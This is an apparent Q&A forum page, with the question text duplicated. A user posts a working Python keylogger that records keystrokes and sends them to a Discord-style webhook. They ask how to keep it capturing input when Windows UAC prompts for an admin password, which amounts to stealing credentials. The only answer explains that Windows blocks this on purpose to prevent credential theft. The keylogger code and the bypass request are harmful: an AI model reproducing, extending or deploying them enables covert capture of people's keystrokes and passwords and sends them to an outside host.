I have written a simple python script and I have compiled it into an exe, but every time I open an app and windows asks me for admin password, it stops working. How do I get around this?
import keyboard
from dhooks import Webhook
a = []
hook = Webhook("my webhook")
trf = False
while not trf:
event = keyboard.read_event()
if event.name == "f3" and event.event_type == keyboard.KEY_UP:
trf = True
while True:
event = keyboard.read_event()
if event.event_type == keyboard.KEY_DOWN:
a.append(event.name)
if event.name == "f3":
break
txt = ""
for i in a:
if i == "space" :txt += " "
elif i == "f3" :continue
elif i == "shift" :continue
elif i == "ctrl" :continue
elif i == "backspace" :txt = txt[:-1]
elif i == "up" or i == "down" :continue
elif i == "left" or i == "right":continue
elif i == "enter" :txt += " <enter> \n"
else :txt += i
hook.send(a)
hook.send(txt)
basically every time a uac window pops up the script stops listening to the keystrokes and returns nothing to the webhook
I have written a simple python script and I have compiled it into an exe, but every time I open an app and windows asks me for admin password, it stops working. How do I get around this?
import keyboard
from dhooks import Webhook
a = []
hook = Webhook("my webhook")
trf = False
while not trf:
event = keyboard.read_event()
if event.name == "f3" and event.event_type == keyboard.KEY_UP:
trf = True
while True:
event = keyboard.read_event()
if event.event_type == keyboard.KEY_DOWN:
a.append(event.name)
if event.name == "f3":
break
txt = ""
for i in a:
if i == "space" :txt += " "
elif i == "f3" :continue
elif i == "shift" :continue
elif i == "ctrl" :continue
elif i == "backspace" :txt = txt[:-1]
elif i == "up" or i == "down" :continue
elif i == "left" or i == "right":continue
elif i == "enter" :txt += " <enter> \n"
else :txt += i
hook.send(a)
hook.send(txt)
basically every time a uac window pops up the script stops listening to the keystrokes and returns nothing to the webhook
Share Improve this question asked 23 hours ago ispanezos apothnispaniaispanezos apothnispania 11 silver badge2 bronze badges New contributor ispanezos apothnispania is a new contributor to this site. Take care in asking for clarification, commenting, and answering. Check out our Code of Conduct.1 Answer
Reset to default 1Windows will not let your program read what the user types into a UAC prompt. It does not want you to be able to build a malicious keylogger and steal user credentials.
See this thread on the keyboard
library issue tracker, which says the same thing.